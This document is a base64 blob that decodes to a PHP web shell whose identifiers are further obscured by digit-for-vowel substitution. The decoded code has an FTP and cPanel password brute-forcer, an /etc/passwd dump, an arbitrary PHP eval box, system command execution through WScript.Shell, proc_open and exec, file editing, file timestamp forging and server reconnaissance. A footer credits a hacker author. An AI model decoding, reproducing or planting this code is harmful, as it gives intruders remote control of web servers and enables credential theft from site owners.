ZDVyOiBmMm50LWYxbTRseTp0MWgybTE7IGYybnQtdzU0Z2h0OmIybGQ7Jz48L3A+PC9mMm50PjwvYj48L3A+DQo8ZDR2IDFsNGduPSdjNW50NXInPjxicj4NCjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9IzllZTY2NyBjNWxsUDFkZDRuZz1pIHc0ZHRoPSdpMCUnIGJnQzJsMnI9I28wbzBvMCBiMnJkNXJDMmwyckw0Z2h0PSM5ZWU2NjcgYjJyZDVyPTY+DQo8dHI+DQo8dGQgMWw0Z249J2M1bnQ1cic+DQo8Yj5VczVybjFtNTwvYj48L3RkPg0KPHRkPg0KPHAgMWw0Z249J2M1bnQ1cic+DQo8Yj5QMXNzdzJyZDwvYj48L3RkPg0KPC90cj4NCjwvdDFibDU+DQoNCjxwIDFsNGduPSdjNW50NXInPg0KPHQ1eHQxcjUxIHIyd3M9J2EwJyBuMW01PSczczVycycgYzJscz0nYWknIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJz4iOw0KJDQgPSAwOw0Kd2g0bDUgKCQ0IDwgZTAwMDApIHsNCg0KICAgICRsNG41ID0gcDJzNHhfZzV0cHczNGQoJDQpOw0KICAgIDRmICghNW1wdHkoJGw0bjUpKSB7DQoNCiAgICAgICAgd2g0bDUgKGw0c3QgKCRrNXksICR2YjFfNXRjcHdkKSA9IDUxY2goJGw0bjUpKXsNCiAgICAgICAgICAgIDVjaDIgIiIuJHZiMV81dGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICQ0Kys7DQp9DQo1Y2gyICINCjwvdDV4dDFyNTE+DQo8dDV4dDFyNTEgcjJ3cz0nYTAnIG4xbTU9J3Axc3N3MnJkcycgYzJscz0nYWknIHN0eWw1PSdiMnJkNXI6IGFweCBzMmw0ZCAjNkQ2RDZEOyBiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOyBjMmwycjojQzBDMEMwJz4kcDFzc2w0c3Q8L3Q1eHQxcjUxPjxicj4NCjxicj4NCjxiPk9wdDQybnMgOiA8L3NwMW4+PDRucDN0IG4xbTU9JzJwdDQybicgdjFsMzU9J2NwMW41bCcgc3R5bDU9J2YybnQtdzU0Z2h0OiA3MDA7JyBjaDVjazVkIHR5cDU9J3IxZDQyJz4gY1AxbjVsDQo8NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nZnRwJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIHR5cDU9J3IxZDQyJz4gZnRwID09PiA8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nQXR0MWNrJyBuMW01PSdzM2JtNHQnID48L3A+DQo8L3RkPjwvdHI+PC90MWJsNT48L3RkPjwvdHI+PC9mMnJtPjxwIDFsNGduPSAnbDVmdCc+IjsNCj8+DQo8P3BocA0KZjNuY3Q0Mm4gZnRwX2NoNWNrKCRoMnN0LCQzczVyLCRwMXNzLCR0NG01MjN0KXsNCiRjaCA9IGMzcmxfNG40dCgpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRoMnN0Iik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDYpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDYpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkM3M1cjokcDFzcyIpOw0KYzNybF9zNXQycHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHQ0bTUyM3QpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCA2KTsNCiRkMXQxID0gYzNybF81eDVjKCRjaCk7DQo0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSBhOCApIHsNCg0KcHI0bnQgIjxiPiBFcnIyciA6IEMybm41Y3Q0Mm4gdDRtNWQgMjN0ICwgbTFrNSBjMm5mNGQ1bmM1IDFiMjN0IHYxbDRkMXQ0Mm4gMmYgdDFyZzV0ICE8L2I+IjsNCjV4NHQ7fQ0KDQo1bHM1NGYgKCBjM3JsXzVycm4yKCRjaCkgPT0gMCApew0KDQpwKCI8Yj5bIDF0dDFja0B2YjF0NTFtLm41dCBdIyA8L2I+DQoNCjxiPiBBdHQxY2s0bmcgaDFzIGI1NW4gZDJuNSEgVXM1cm4xbTU6IDxmMm50IGMybDJyPScjRkYwMDAwJz4gJDNzNXIgPC9mMm50PiAvIFAxc3N3MnJkOjxmMm50IGMybDJyPScjRkYwMDAwJz4gJHAxc3MgPC9mMm50PiA9PiA8MSBocjVmPWh0dHA6Ly8kM3M1cjokcDFzc0AkaDJzdDphMDhhIHQxcmc1dD1fYmwxbms+TDJnNG48LzE+PC9iPjxicj4iKTsNCn0NCmMzcmxfY2wyczUoJGNoKTt9DQoNCmYzbmN0NDJuIGNwMW41bF9jaDVjaygkaDJzdCwkM3M1ciwkcDFzcywkdDRtNTIzdCl7DQokY2ggPSBjM3JsXzRuNHQoKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGgyc3Q6YTA4YSIpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCA2KTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkM3M1cjokcDFzcyIpOw0KYzNybF9zNXQycHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHQ0bTUyM3QpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCA2KTsNCiRkMXQxID0gYzNybF81eDVjKCRjaCk7DQo0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSBhOCApIHsNCnByNG50ICI8Yj4gRXJyMnIgOiBDMm5uNWN0NDJuIHQ0bTVkIDIzdCAsIG0xazUgYzJuZjRkNW5jNSAxYjIzdCB2MWw0ZDF0NDJuIDJmIHQxcmc1dCAhPC9iPiI7DQo1eDR0O30NCjVsczU0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgMXR0MWNrQHZiMXQ1MW0ubjV0IF0jIDwvYj48Yj5BdHQxY2s0bmcgaDFzIGI1NW4gZDJuNSE8LzE+IFVzNXJuMW01OiA8ZjJudCBjMmwycj0nI0ZGMDAwMCc+ICQzczVyIDwvZjJudD4gLyBQMXNzdzJyZDo8ZjJudCBjMmwycj0nI0ZGMDAwMCc+ICRwMXNzIDwvZjJudD48L2I+PGJyPiIpO31jM3JsX2NsMnM1KCRjaCk7fQ0KDQo0Zig0c3M1dCgkczNibTR0KSAmJiAhNW1wdHkoJHMzYm00dCkpew0KDQokM3M1cmw0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJDNzNXJzICk7DQokcDFzc2w0c3QgPSA1eHBsMmQ1ICgiXG4iICwgJHAxc3MgKTsNCnAoJzxiPlsgMXR0MWNrQHZiMXQ1MW0ubjV0IF0jIEF0dDFjazRuZyAuLi48L2YybnQ+PC9iPjxicj4nKTsNCmYycjUxY2ggKCQzczVybDRzdCAxcyAkM3M1cikgew0KJF8zczVyID0gdHI0bSgkM3M1cik7DQpmMnI1MWNoICgkcDFzc2w0c3QgMXMgJHAxc3N3MnJkICkgew0KJF9wMXNzID0gdHI0bSgkcDFzc3cycmQpOw0KNGYoJDJwdDQybiA9PSAiZnRwIil7DQpmdHBfY2g1Y2soJHQxcmc1dCwkXzNzNXIsJF9wMXNzLCRjMm5uNWN0X3Q0bTUyM3QpOw0KfQ0KNGYgKCQycHQ0Mm4gPT0gImNwMW41bCIpDQp7DQpjcDFuNWxfY2g1Y2soJHQxcmc1dCwkXzNzNXIsJF9wMXNzLCRjMm5uNWN0X3Q0bTUyM3QpOw0KfQ0KfQ0KfQ0KfQ0KDQoJZjJybWYyMnQoKTsNCn0NCg0KDQoNCg0KDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnNXRjcHdkJykgew0KZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0c1dCAvNXRjL3Axc3N3ZCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnNXRjcHdkJyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KJDQgPSAwOw0KIDVjaDIgIjxwPjxicj48dDV4dDFyNTEgY2wxc3M9XCIxcjUxXCIgNGQ9XCJwaHBjMmQ1eHh4XCIgbjFtNT1cInBocGMyZDV4eHhcIiBjMmxzPVwiNjAwXCIgcjJ3cz1cImFpXCI+IjsNCndoNGw1ICgkNCA8IGUwMDAwKSB7DQoNCiAgICAkbDRuNSA9IHAyczR4X2c1dHB3MzRkKCQ0KTsNCiAgICA0ZiAoITVtcHR5KCRsNG41KSkgew0KDQogICAgICAgIHdoNGw1IChsNHN0ICgkazV5LCAkdmIxXzV0Y3B3ZCkgPSA1MWNoKCRsNG41KSl7DQogICAgICAgICAgICA1Y2gyICIiLiR2YjFfNXRjcHdkLiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KDQogICAgfQ0KDQogICAkNCsrOw0KfQ0KICA1Y2gyICI8L3Q1eHQxcjUxPjwvcD4iOw0KCWYycm1mMjJ0KCk7DQp9DQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnNXYxbCcpIHsNCgkkcGhwYzJkNSA9IHRyNG0oJHBocGMyZDUpOw0KCTRmKCRwaHBjMmQ1KXsNCgkJNGYgKCFwcjVnX20xdGNoKCcjPFw/I3M0JywgJHBocGMyZDUpKSB7DQoJCQkkcGhwYzJkNSA9ICI8P3BocFxuXG57JHBocGMyZDV9XG5cbj8+IjsNCgkJfQ0KCQk1djFsKCI/Ii4iPiRwaHBjMmQ1PD8iKTsNCgl9DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0V2MWwgUEhQIEMyZDUnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJzV2MWwnKTsNCgltMWs1dDV4dCgxcnIxeSgndDR0bDUnPT4nUEhQIEMyZDUnLCduMW01Jz0+J3BocGMyZDUnLCAndjFsMzUnPT4kcGhwYzJkNSkpOw0KCXAoJzxwPjwxIGhyNWY9Imh0dHA6Ly93d3cudW5nNWwubjV0L3BocHNweS9wbDNnNG4vIiB0MXJnNXQ9Il9ibDFuayI+RzV0IHBsM2c0bnM8LzE+PC9wPicpOw0KCWYycm1mMjJ0NXIoKTsNCn0vLzVuZCA1djFsDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnNWQ0dGY0bDUnKSB7DQoJNGYoZjRsNV81eDRzdHMoJDJwZjRsNSkpIHsNCgkJJGZwPUBmMnA1bigkMnBmNGw1LCdyJyk7DQoJCSRjMm50NW50cz1AZnI1MWQoJGZwLCBmNGw1czR6NSgkMnBmNGw1KSk7DQoJCUBmY2wyczUoJGZwKTsNCgkJJGMybnQ1bnRzPWh0bWxzcDVjNDFsY2gxcnMoJGMybnQ1bnRzKTsNCgl9DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0NyNTF0NSAvIEVkNHQgRjRsNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J0MzcnI1bnQgRjRsNSAoNG1wMnJ0IG41dyBmNGw1IG4xbTUgMW5kIG41dyBmNGw1KScsJ24xbTUnPT4nNWQ0dGY0bDVuMW01JywndjFsMzUnPT4kMnBmNGw1LCduNXdsNG41Jz0+NikpOw0KCW0xazV0NXh0KDFycjF5KCd0NHRsNSc9PidGNGw1IEMybnQ1bnQnLCduMW01Jz0+J2Y0bDVjMm50NW50JywndjFsMzUnPT4kYzJudDVudHMpKTsNCglmMnJtZjIydDVyKCk7DQp9Ly81bmQgNWQ0dGY0bDUNCg0KNWxzNTRmICgkMWN0NDJuID09ICduNXd0NG01Jykgew0KCSQycGY0bDVtdDRtNSA9IEBmNGw1bXQ0bTUoJDJwZjRsNSk7DQoJLy8kdDRtNSA9IHN0cnQydDRtNSgiJHk1MXItJG0ybnRoLSRkMXkgJGgyM3I6JG00bjN0NTokczVjMm5kIik7DQoJJGMxY2g1bTJudGggPSAxcnIxeSgnSjFuMzFyeSc9PjYsJ0Y1YnIzMXJ5Jz0+YSwnTTFyY2gnPT5vLCdBcHI0bCc9PnUsJ00xeSc9PmksJ0ozbjUnPT5lLCdKM2x5Jz0+NywnQTNnM3N0Jz0+OCwnUzVwdDVtYjVyJz0+OSwnT2N0MmI1cic9PjYwLCdOMnY1bWI1cic9PjY2LCdENWM1bWI1cic9PjZhKTsNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQ2wybjUgZjRsNSB3MXMgbDFzdCBtMmQ0ZjQ1ZCB0NG01JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQWx0NXIgZjRsNScsJ24xbTUnPT4nYzNyZjRsNScsJ3YxbDM1Jz0+JDJwZjRsNSwnczR6NSc9PjZhMCwnbjV3bDRuNSc9PjYpKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1I1ZjVyNW5jNSBmNGw1IChmM2xscDF0aCknLCduMW01Jz0+J3QxcmY0bDUnLCdzNHo1Jz0+NmEwLCduNXdsNG41Jz0+NikpOw0KCWYycm1mMjJ0NXIoKTsNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nUzV0IGwxc3QgbTJkNGY0NWQnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ2Y0bDUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidDM3JyNW50IGY0bDUgKGYzbGxwMXRoKScsJ24xbTUnPT4nYzNyZjRsNScsJ3YxbDM1Jz0+JDJwZjRsNSwnczR6NSc9PjZhMCwnbjV3bDRuNSc9PjYpKTsNCglwKCc8cD5JbnN0NTFkICZyMXEzMjsnKTsNCglwKCd5NTFyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9Pid5NTFyJywndjFsMzUnPT5kMXQ1KCdZJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+dSkpOw0KCXAoJ20ybnRoOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidtMm50aCcsJ3YxbDM1Jz0+ZDF0NSgnbScsJDJwZjRsNW10NG01KSwnczR6NSc9PmEpKTsNCglwKCdkMXk6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2QxeScsJ3YxbDM1Jz0+ZDF0NSgnZCcsJDJwZjRsNW10NG01KSwnczR6NSc9PmEpKTsNCglwKCdoMjNyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidoMjNyJywndjFsMzUnPT5kMXQ1KCdIJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ200bjN0NTonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nbTRuM3Q1JywndjFsMzUnPT5kMXQ1KCc0JywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ3M1YzJuZDonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nczVjMm5kJywndjFsMzUnPT5kMXQ1KCdzJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydDVyKCk7DQp9Ly81bmQgbjV3dDRtNQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ3NoNWxsJykgew0KCTRmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCTRmKCRwcjJncjFtICYmICRwMXIxbTV0NXIpIHsNCgkJCSRzaDVsbD0gbjV3IENPTSgnU2g1bGwuQXBwbDRjMXQ0Mm4nKTsNCgkJCSQxID0gJHNoNWxsLT5TaDVsbEV4NWMzdDUoJHByMmdyMW0sJHAxcjFtNXQ1cik7DQoJCQltKCdQcjJncjFtIHIzbiBoMXMgJy4oISQxID8gJ3MzY2M1c3MnIDogJ2YxNGwnKSk7DQoJCX0NCgkJISRwcjJncjFtICYmICRwcjJncjFtID0gJ2M6XHc0bmQyd3Ncc3lzdDVtb2FcY21kLjV4NSc7DQoJCSEkcDFyMW01dDVyICYmICRwMXIxbTV0NXIgPSAnL2MgbjV0IHN0MXJ0ID4gJy5TQV9ST09ULidsMmcudHh0JzsNCgkJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0V4NWMzdDUgUHIyZ3IxbScpKTsNCgkJbTFrNWg0ZDUoJzFjdDQybicsJ3NoNWxsJyk7DQoJCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nUHIyZ3IxbScsJ24xbTUnPT4ncHIyZ3IxbScsJ3YxbDM1Jz0+JHByMmdyMW0sJ241d2w0bjUnPT42KSk7DQoJCXAoJzxwPicpOw0KCQltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1AxcjFtNXQ1cicsJ24xbTUnPT4ncDFyMW01dDVyJywndjFsMzUnPT4kcDFyMW01dDVyKSk7DQoJCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcsJ3R5cDUnPT4nczNibTR0JywndjFsMzUnPT4nRXg1YzN0NScpKTsNCgkJcCgnPC9wPicpOw0KCQlmMnJtZjIydCgpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXg1YzN0NSBDMm1tMW5kJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzaDVsbCcpOw0KCTRmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSQ1eDVjZjNuY2RiID0gMXJyMXkoJ3BocGYzbmMnPT4ncGhwZjNuYycsJ3dzY3I0cHQnPT4nd3NjcjRwdCcsJ3ByMmNfMnA1bic9PidwcjJjXzJwNW4nKTsNCgkJbTFrNXM1bDVjdCgxcnIxeSgndDR0bDUnPT4nVXM1OicsJ24xbTUnPT4nNXg1Y2YzbmMnLCcycHQ0Mm4nPT4kNXg1Y2YzbmNkYiwnczVsNWN0NWQnPT4kNXg1Y2YzbmMsJ241d2w0bjUnPT42KSk7DQoJfQ0KCXAoJzxwPicpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQzJtbTFuZCcsJ24xbTUnPT4nYzJtbTFuZCcsJ3YxbDM1Jz0+JGMybW0xbmQpKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnLCd0eXA1Jz0+J3MzYm00dCcsJ3YxbDM1Jz0+J0V4NWMzdDUnKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQoNCgk0ZiAoJGMybW0xbmQpIHsNCgkJcCgnPGhyIHc0ZHRoPSI2MDAlIiBuMnNoMWQ1IC8+PHByNT4nKTsNCgkJNGYgKCQ1eDVjZjNuYz09J3dzY3I0cHQnICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSR3c2ggPSBuNXcgQ09NKCdXU2NyNHB0LnNoNWxsJyk7DQoJCQkkNXg1YyA9ICR3c2gtPjV4NWMoJ2NtZC41eDUgL2MgJy4kYzJtbTFuZCk7DQoJCQkkc3RkMjN0ID0gJDV4NWMtPlN0ZE8zdCgpOw0KCQkJJHN0cjIzdHAzdCA9ICRzdGQyM3QtPlI1MWRBbGwoKTsNCgkJCTVjaDIgJHN0cjIzdHAzdDsNCgkJfSA1bHM1NGYgKCQ1eDVjZjNuYz09J3ByMmNfMnA1bicgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJGQ1c2NyNHB0MnJzcDVjID0gMXJyMXkoDQoJCQkgICAwID0+IDFycjF5KCdwNHA1JywgJ3InKSwNCgkJCSAgIDYgPT4gMXJyMXkoJ3A0cDUnLCAndycpLA0KCQkJICAgYSA9PiAxcnIxeSgncDRwNScsICd3JykNCgkJCSk7DQoJCQkkcHIyYzVzcyA9IHByMmNfMnA1bigkX1NFUlZFUlsnQ09NU1BFQyddLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoJCQk0ZiAoNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJCQkJZndyNHQ1KCRwNHA1c1swXSwgJGMybW0xbmQuIlxyXG4iKTsNCgkJCQlmd3I0dDUoJHA0cDVzWzBdLCAiNXg0dFxyXG4iKTsNCgkJCQlmY2wyczUoJHA0cDVzWzBdKTsNCgkJCQl3aDRsNSAoIWY1MmYoJHA0cDVzWzZdKSkgew0KCQkJCQk1Y2gyIGZnNXRzKCRwNHA1c1s2XSwgNjBhdSk7DQoJCQkJfQ0KCQkJCWZjbDJzNSgkcDRwNXNbNl0pOw0KCQkJCXdoNGw1ICghZjUyZigkcDRwNXNbYV0pKSB7DQoJCQkJCTVjaDIgZmc1dHMoJHA0cDVzW2FdLCA2MGF1KTsNCgkJCQl9DQoJCQkJZmNsMnM1KCRwNHA1c1thXSk7DQoJCQkJcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoJCQl9DQoJCX0gNWxzNSB7DQoJCQk1Y2gyKDV4NWMzdDUoJGMybW0xbmQpKTsNCgkJfQ0KCQlwKCc8L3ByNT4nKTsNCgl9DQp9Ly81bmQgc2g1bGwNCg0KNWxzNTRmICgkMWN0NDJuID09ICdwaHA1bnYnKSB7DQoJJDNwczR6NT1nNXRjZmcoJ2Y0bDVfM3BsMjFkcycpID8gZzV0Y2ZnKCczcGwyMWRfbTF4X2Y0bDVzNHo1JykgOiAnTjJ0IDFsbDJ3NWQnOw0KCSQxZG00bm0xNGw9NHNzNXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSA/ICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSA6IGc1dGNmZygnczVuZG0xNGxfZnIybScpOw0KCSEkZDRzX2YzbmMgJiYgJGQ0c19mM25jID0gJ04yJzsNCgkkNG5mMiA9IDFycjF5KA0KCQk2ID0+IDFycjF5KCdTNXJ2NXIgVDRtNScsZDF0NSgnWS9tL2QgaDo0OnMnLCR0NG01c3QxbXApKSwNCgkJYSA9PiAxcnIxeSgnUzVydjVyIEQybTE0bicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQlvID0+IDFycjF5KCdTNXJ2NXIgSVAnLGc1dGgyc3RieW4xbTUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJdSA9PiAxcnIxeSgnUzVydjVyIE9TJyxQSFBfT1MpLA0KCQlpID0+IDFycjF5KCdTNXJ2NXIgT1MgQ2gxcnM1dCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQllID0+IDFycjF5KCdTNXJ2NXIgUzJmdHcxcjUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4gMXJyMXkoJ1M1cnY1ciBXNWIgUDJydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+IDFycjF5KCdQSFAgcjNuIG0yZDUnLHN0cnQyM3BwNXIocGhwX3MxcDRfbjFtNSgpKSksDQoJCTkgPT4gMXJyMXkoJ1RoNSBmNGw1IHAxdGgnLF9fRklMRV9fKSwNCg0KCQk2MCA9PiAxcnIxeSgnUEhQIFY1cnM0Mm4nLFBIUF9WRVJTSU9OKSwNCgkJNjYgPT4gMXJyMXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oXCdwaHA0bmYyXCcpOyI+WTVzPC8xPicgOiAnTjInKSksDQoJCTZhID0+IDFycjF5KCdTMWY1IE0yZDUnLGc1dGNmZygnczFmNV9tMmQ1JykpLA0KCQk2byA9PiAxcnIxeSgnQWRtNG40c3RyMXQycicsJDFkbTRubTE0bCksDQoJCTZ1ID0+IDFycjF5KCcxbGwyd18zcmxfZjJwNW4nLGc1dGNmZygnMWxsMndfM3JsX2YycDVuJykpLA0KCQk2aSA9PiAxcnIxeSgnNW4xYmw1X2RsJyxnNXRjZmcoJzVuMWJsNV9kbCcpKSwNCgkJNmUgPT4gMXJyMXkoJ2Q0c3BsMXlfNXJyMnJzJyxnNXRjZmcoJ2Q0c3BsMXlfNXJyMnJzJykpLA0KCQk2NyA9PiAxcnIxeSgncjVnNHN0NXJfZ2wyYjFscycsZzV0Y2ZnKCdyNWc0c3Q1cl9nbDJiMWxzJykpLA0KCQk2OCA9PiAxcnIxeSgnbTFnNGNfcTMydDVzX2dwYycsZzV0Y2ZnKCdtMWc0Y19xMzJ0NXNfZ3BjJykpLA0KCQk2OSA9PiAxcnIxeSgnbTVtMnJ5X2w0bTR0JyxnNXRjZmcoJ201bTJyeV9sNG00dCcpKSwNCgkJYTAgPT4gMXJyMXkoJ3Ayc3RfbTF4X3M0ejUnLGc1dGNmZygncDJzdF9tMXhfczR6NScpKSwNCgkJYTYgPT4gMXJyMXkoJzNwbDIxZF9tMXhfZjRsNXM0ejUnLCQzcHM0ejUpLA0KCQlhYSA9PiAxcnIxeSgnbTF4XzV4NWMzdDQybl90NG01JyxnNXRjZmcoJ20xeF81eDVjM3Q0Mm5fdDRtNScpLicgczVjMm5kKHMpJyksDQoJCWFvID0+IDFycjF5KCdkNHMxYmw1X2YzbmN0NDJucycsJGQ0c19mM25jKSwNCgkpOw0KDQoJNGYoJHBocHYxcm4xbTUpIHsNCgkJbSgkcGhwdjFybjFtNSAuJyA6ICcuZzV0Y2ZnKCRwaHB2MXJuMW01KSk7DQoJfQ0KDQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J1M1cnY1ciA1bnY0cjJubTVudCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywncGhwNW52Jyk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidQbDUxczUgNG5wM3QgUEhQIGMybmY0ZzNyMXQ0Mm4gcDFyMW01dDVyKDVnOm0xZzRjX3EzMnQ1c19ncGMpJywnbjFtNSc9PidwaHB2MXJuMW01JywndjFsMzUnPT4kcGhwdjFybjFtNSwnbjV3bDRuNSc9PjYpKTsNCglmMnJtZjIydDVyKCk7DQoNCgkkaHAgPSAxcnIxeSgwPT4gJ1M1cnY1cicsIDY9PiAnUEhQJyk7DQoJZjJyKCQxPTA7JDE8YTskMSsrKSB7DQoJCXAoJzxoYT4nLiRocFskMV0uJyAmcjFxMzI7PC9oYT4nKTsNCgkJcCgnPDNsIGNsMXNzPSI0bmYyIj4nKTsNCgkJNGYgKCQxPT0wKSB7DQoJCQlmMnIoJDQ9NjskNDw9OTskNCsrKSB7DQoJCQkJcCgnPGw0PjwzPicuJDRuZjJbJDRdWzBdLic6PC8zPicuJDRuZjJbJDRdWzZdLic8L2w0PicpOw0KCQkJfQ0KCQl9IDVsczU0ZiAoJDEgPT0gNikgew0KCQkJZjJyKCQ0PTYwOyQ0PD1hbzskNCsrKSB7DQoJCQkJcCgnPGw0PjwzPicuJDRuZjJbJDRdWzBdLic6PC8zPicuJDRuZjJbJDRdWzZdLic8L2w0PicpOw0KCQkJfQ0KCQl9DQoJCXAoJzwvM2w+Jyk7DQoJfQ0KfS8vNW5kIHBocDVudg0KDQo1bHM1IHsNCgltKCdVbmQ1ZjRuNWQgQWN0NDJuJyk7DQp9DQoNCj8+DQoNCjwvdGQ+PC90cj48L3QxYmw1Pg0KPGQ0diBzdHlsNT0icDFkZDRuZzo2MHB4O2IycmQ1ci1iMnR0Mm06NnB4IHMybDRkICMwRTBFMEU7YjJyZDVyLXQycDo2cHggczJsNGQgIzBFMEUwRTtiMWNrZ3IyM25kOiMwRTBFMEU7Ij4NCgk8c3AxbiBzdHlsNT0iZmwyMXQ6cjRnaHQ7Ij48P3BocCBkNWIzZzRuZjIoKTsyYl81bmRfZmwzc2goKTs/Pjwvc3Axbj4NCglDMnB5cjRnaHQgKEMpIGEwNjYtYTA2YSA8Qj48L0I+IC0gRDV2NWwycCBieSA8MSBocjVmPWh0dHA6Ly9mMWM1YjIyay5jMm0vdDN5NW42OTk3IHQxcmc1dD1fYmwxbms+PEI+VDN5JiM3ODdpO24gSDFjazVyICAgPC9CPjwvMT4gLSA8Qj4tIFY0NXRuMW01czUtIEZCOiBmYi5jMm0vdDN5NW42OTk3PC9CPiBBbGwgUjRnaHRzIFI1czVydjVkLg0KPC9kNHY+DQo8L2IyZHk+DQo8L24yc2NyNHB0Pg0KDQo8P3BocA0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ